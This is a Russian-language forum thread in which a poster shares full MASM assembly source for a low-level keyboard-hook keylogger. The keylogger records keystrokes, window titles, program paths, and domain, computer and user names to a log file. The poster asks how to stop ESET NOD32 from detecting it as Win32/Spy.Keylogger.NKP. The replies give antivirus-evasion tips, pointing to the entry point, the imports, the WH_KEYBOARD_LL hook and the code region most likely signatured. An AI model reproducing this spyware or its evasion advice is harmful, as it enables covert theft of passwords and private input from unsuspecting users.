По какому принципу NOD32 детектит этот код как Win32/Spy.Keylogger.NKP

По сигнатуре?
Если да, какие варианты сделать чтобы не детектил.
Спасибо!

Код (Text):

1. ;*******************************************************************************************
2. ; CopyRight 2005, by ZOverLord at ZOverLords@Yahoo.com - ALL Rights Reserved
3. ;*******************************************************************************************
4. .386
5. .model flat, stdcall
6. option casemap:none
7.  
8. include masm32\include\windows.inc
9. include masm32\include\kernel32.inc
10. include masm32\include\user32.inc
11. include masm32\include\advapi32.inc
12. include msvcrt.inc
13.  
14. includelib 7600.16385.1\lib\win7\i386\user32.lib
15. includelib 7600.16385.1\lib\win7\i386\kernel32.lib
16. includelib 7600.16385.1\lib\win7\i386\advapi32.lib
17. includelib 7600.16385.1\lib\crt\i386\msvcrt.lib
18.  
19. Module32First PROTO STDCALL :DWORD,:DWORD
20. Module32Next PROTO STDCALL :DWORD,:DWORD
21.  
22. pushz   macro szText:VARARG
23.     local   nexti
24.     call    nexti
25.     db  szText,00h
26. nexti:
27. endm
28.  
29. .data
30.  
31. CopyRight       db      "CopyRight 2005, ZOverLords@Yahoo.com"
32. Vist            db      "http://testing.OnlyTheRightAnswers.com  "
33.  
34. hBuffer         dd      ?
35. hComputerName       db      32  dup(0)
36. hCurrentThreadPiD   dd      0
37. hCurrentWindow      dd      0
38. hDateFormat     db      "dd MMM yyyy", 0
39. hDomaineName          db        128 dup(0)
40. hFile           dd      0
41. hHook           dd      0
42. hmodul        MODULEENTRY32   <>
43. hSnapShot       dd      0
44. hTimeFormat     db      "hh:mm:ss tt", 0   
45. hUserName              db       32  dup(0)
46. msg         MSG     <>
47. onlyOneCopy     db      "Global\zkl",0
48.  
49. .code
50.  
51. main:
52.     push    offset onlyOneCopy; check to make sure we are the only copy
53.     push    0       ; of this program running for this user
54.     push    0       ; for fast user switching we can still have
55.       call  CreateMutexA    ; one copy per user running with this check        
56.     call    GetLastError    ; but if this user is running one already. we exit
57.     cmp     eax,ERROR_ALREADY_EXISTS
58.     je  more_than_one_copy 
59.  
60.     xor ebx, ebx    ; Zero Out ebx
61.  
62.     push    VK_F11  ; this will switch logger off using CTRL+ALT+F11 together
63.     push    MOD_CONTROL or MOD_ALT
64.     push    0badfaceh   ; name of register key -> "0BADFACE"
65.     push    ebx     ;
66.     call    RegisterHotKey  ; we got a new hot key
67.  
68.     pushz   "ab"        ; append in binary mode
69.     pushz   "ZKeyLog.txt"   ; name of log file
70.     call    fopen       ; open the log file
71.     add esp, 2*4    ; all c lib functions need fixup..
72.     mov [hFile], eax    ; save our file number
73.  
74.     push    ebx
75.     call    GetModuleHandleA; get our module handle for setting the hook
76.    
77.     push    ebx     ; register our keyboard hook proc and start hooking
78.     push    eax
79.     push    offset KeyBoardProc; where our hook proc is located
80.     push    WH_KEYBOARD_LL  ; low level key logger WH_KEYBOARD_LL = 13
81.     call    SetWindowsHookExA; Look MOM no DLL Needed :P
82.     mov [hHook], eax    ; ok here is our hook handle for later
83.  
84.     push    ebx     ; We Need to check for messages like our
85.     push    ebx     ; hot key, so we can close when we get it
86.     push    ebx
87.     push    offset msg  ; it will be in the message struct
88.     call    GetMessageA ; wait for a message
89.    
90.     push    [hHook]     ; we got the hot key, lets close up house  
91.     call    UnhookWindowsHookEx; make sure we unhook things to be nice
92.  
93.     push    [hFile]     ; close our logfile before we stop
94.     call    fclose
95.     add esp, 04
96.  
97. more_than_one_copy:
98.  
99.     push    eax     ; call stop and lets go away
100.     call    ExitProcess
101.  
102. ;##############################################################
103.  
104. KeyBoardProc    PROC    nCode:DWORD, wParam:DWORD, lParam:DWORD
105.     LOCAL   lpKeyState[256] :BYTE
106.         LOCAL   lpClassName[64] :BYTE
107.     LOCAL   lpCharBuf[32]   :BYTE
108.         LOCAL   lpDateBuf[12]   :BYTE
109.         LOCAL   lpTimeBuf[12]   :BYTE
110.         LOCAL   lpLocalTime :SYSTEMTIME
111. ;----------------------------
112.  
113.     lea edi, [lpKeyState]; lets zero out our buffers
114.     push    256/4
115.     pop ecx
116.     xor eax, eax
117.     rep stosd       ; sets us up for doubleword from EAX
118.  
119.     mov eax, wParam
120.     cmp eax, WM_KEYUP   ; only need WM_KEYDOWN
121.     je  next_hook       ; bypass double logging
122.    
123.     cmp eax, WM_SYSKEYUP; only Need WM_SYSKEYDOWN
124.     je  next_hook       ; bypass double logging
125.  
126.     call    GetForegroundWindow; get handle for currently used window ( specific to NT and after )
127.     cmp [hCurrentWindow], eax; if its not different to last one saved..
128.     je  no_window_change    ; bypass all the headings
129.  
130.     mov [hCurrentWindow], eax; save it for use now and compare later
131.  
132.         push    64      ; get the class name
133.         lea     esi, [lpClassName]
134.         push    esi
135.         push    [hCurrentWindow]
136.         call    GetClassName
137.  
138.         lea     esi, [lpLocalTime]; invoke GetLocalTime, ADDR LocalTime
139.         push    esi
140.         call    GetLocalTime
141.  
142.         push    12      ; invoke GetDateFormat, NULL, NULL \
143.         lea     esi, [lpDateBuf]
144.         push    esi     ; ADDR lpLocalTime, ADDR hDateFormat  \
145.         lea     esi, [hDateFormat]
146.         push    esi     ; ADDR lpDateBuf, Size of 12
147.         lea     esi, [lpLocalTime]
148.         push    esi
149.         push    0
150.         push    0
151.         call    GetDateFormat   ; format the date
152.  
153.         push    12      ; invoke GetTimeFormat, NULL, NULL \
154.         lea     esi, [lpTimeBuf]
155.         push    esi     ; ADDR lpLocalTime, ADDR hTimeFormat  \
156.         lea     esi, [hTimeFormat]
157.         push    esi     ; ADDR lpTimeBuf, Size of 12
158.         lea     esi, [lpLocalTime]
159.         push    esi
160.         push    0
161.         push    0
162.         call    GetTimeFormat   ; format the time
163.  
164.     lea     esi, [hCurrentThreadPiD]; get the processid that sent the key
165.     push    esi         ; using the HWND we got earlier from
166.     mov     eax, [hCurrentWindow]   ; our GetForegroundWindow call     
167.     push    eax         ; we need it to get the program exe name               
168.     call    GetWindowThreadProcessId
169.  
170.     mov     ebx, hCurrentThreadPiD  ; remember we are NOT using a DLL so.....
171.     push    ebx         ; we need to use ToolHelp procs to get
172.     push    TH32CS_SNAPMODULE   ; the program exe name of who sent us
173.     call    CreateToolhelp32Snapshot; this key  
174.     mov     hSnapShot,eax       ; save the ToolHelp Handle to close later
175.  
176.         mov     hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail
177.    
178.     push    offset hmodul   ; first Module is always module for process
179.     mov     eax, [hSnapShot]; so safe to assume that the exe file name here
180.     push    eax     ; will always be the right one for us
181.     call    Module32First
182.  
183.     mov     eax, [hSnapShot]; we are done with ToolHelp so we need
184.         push    eax     ; to tell it we wish to close
185.         call    CloseHandle
186.    
187.     push    256     ; find the window title text
188.     lea esi, [lpKeyState]; use lpKeyState it's not being used yet so
189.     push    esi
190.     mov eax, [hCurrentWindow]; using the HWND we got from GetForegroundWindow
191.     push    eax
192.     call    GetWindowText
193.  
194.     push    offset hmodul.szExePath
195.         lea     esi, [lpTimeBuf]; print the formatted time 
196.         push    esi
197.         lea esi, [lpDateBuf]; print the formatted date
198.         push    esi
199.     pushz   13,10,"[%s, %s - Program:%s]",13,10
200.     push    [hFile]        
201.     call    fprintf     ; write the buffer to cache
202.     add esp, 3*4
203.  
204.     lea esi, [lpClassName]; print the Window Class Name
205.     push    esi
206.     lea esi, [lpKeyState]; print the Window Title  
207.     push    esi
208.     pushz   13,10,"[       Window Title:%s - Window Class:%s]",13,10
209.     push    [hFile]        
210.     call    fprintf     ; write the buffer to cache
211.     add esp, 3*4
212.  
213.     mov     hBuffer, 128    ; get the current domain name
214.     push    offset hBuffer
215.     push    offset hDomaineName
216.     push    1
217.     call    GetComputerNameExA
218.  
219.         mov     hBuffer, 32 ; get the current computer name
220.         push    offset hBuffer
221.         push    offset hComputerName
222.         push    0
223.         call    GetComputerNameExA
224.  
225.         mov     hBuffer, 32 ; get the current user name
226.         push    offset hBuffer
227.         push    offset hUserName
228.         call    GetUserNameA
229.  
230.     push    offset hUserName; print the user name
231.     push    offset hComputerName; print the computer name
232.     push    offset hDomaineName; print the domain name
233.         pushz   "[     Domain:%s - Computer:%s - User:%s]",13,10
234.         push    [hFile]
235.     call    fprintf     ; write to cache
236.     add esp, 3*4
237.    
238.     push    [hFile]
239.     call    fflush      ; flush data buffer to disk..
240.     add esp, 4
241.  
242. no_window_change:  
243.     mov esi, [lParam]   ; we don't want to print shift or capslock names.
244.     lodsd           ; it just makes the logs easier to read without them.
245.     cmp al, VK_LSHIFT   ; they are tested later when distinguishing between
246.     je  next_hook   ; bypass left shift Key for upper/lowercase characters
247.     cmp al, VK_RSHIFT
248.     je  next_hook   ; bypass right shift Key
249.     cmp al, VK_CAPITAL
250.     je  next_hook   ; bypass caps lock Key
251.     cmp al, VK_ESCAPE        
252.     je  get_name_of_key ; we Want escape characters
253.     cmp al, VK_BACK
254.     je  get_name_of_key ; we want backspace key
255.     cmp al, VK_TAB           
256.     je  get_name_of_key ; we want tab key
257. ;------------------
258.     lea edi, [lpCharBuf]; zero initialise buffer for key text
259.     push    32/4
260.     pop ecx
261.     xor eax, eax
262.     rep stosd
263. ;----------
264.     lea ebx, [lpKeyState]
265.     push    ebx
266.     call    GetKeyboardState    ; get current keyboard state
267.  
268.     push    VK_LSHIFT       ; test if left shift key held down
269.     call    GetKeyState
270.     xchg    esi, eax        ; save result in esi
271.    
272.     push    VK_RSHIFT       ; test right..
273.     call    GetKeyState
274.     or  eax, esi        ; al == 1 if either key is DOWN
275.    
276.     mov byte ptr [ebx + 16], al ; toggle a shift key to on/off
277.    
278.     push    VK_CAPITAL
279.     call    GetKeyState     ; returns TRUE if caps lock is on  
280.     mov byte ptr [ebx + 20], al ; toggle caps lock to on/off
281.  
282.     mov esi, [lParam]
283.     lea edi, [lpCharBuf]
284.     push    00h
285.     push    edi         ; buffer for ascii characters
286.     push    ebx         ; keyboard state
287.     lodsd
288.     xchg    eax, edx
289.     lodsd
290.     push    eax         ; hardware scan code
291.     push    edx         ; virutal key code
292.     call    ToAscii         ; convert to human readable characters
293.     test    eax, eax        ; if return zero, continue
294.     jnz test_carriage_return    ; else, write to file.
295.  
296. get_name_of_key:        ; no need for large table of pointers to get asciiz
297.     mov esi, [lParam]
298.     lodsd           ; skip virtual key code
299.     lodsd           ; eax = scancode
300.     shl eax, 16
301.     xchg    eax, ecx
302.     lodsd           ; extended key info
303.     shl eax, 24
304.     or  ecx, eax
305.  
306.     push    32
307.     lea edi, [lpCharBuf]
308.     push    edi
309.     push    ecx
310.     call    GetKeyNameTextA ; get the key text
311.  
312.     push    edi
313.     pushz   "[%s]"      ; print the special key text
314.     jmp write_to_file
315.  
316. test_carriage_return:
317.     push    edi
318.     pushz   "%s"        ; print regular keys
319.  
320.     cmp byte ptr [edi], 0dh; carriage return?
321.     jne write_to_file
322.  
323.     mov byte ptr [edi + 1], 0ah; add linefeed, so logs are easier to read.
324. write_to_file:
325.     push    [hFile]     ; where we write to the log file
326.     call    fprintf
327.     add esp, 2*4
328. next_hook:
329.     push    [lParam]    ; reply for possible other hooks waiting
330.     push    [wParam]
331.     push    [nCode]
332.     push    [hHook]
333.     call    CallNextHookEx
334.     ret
335. KeyBoardProc    ENDP
336.  
337. end main

 

Import?
Убей точку входа, напиши там бред какой то, если детект останется - значит статик детект, и скорее всего импорт.

 

Видимо не нравится параметр WH_KEYBOARD_LL в функции SetWindowsHookExA.

 

Если сигнатурный детект, то обычно в базы добавляют код который идет у тебя после метки no_window_change.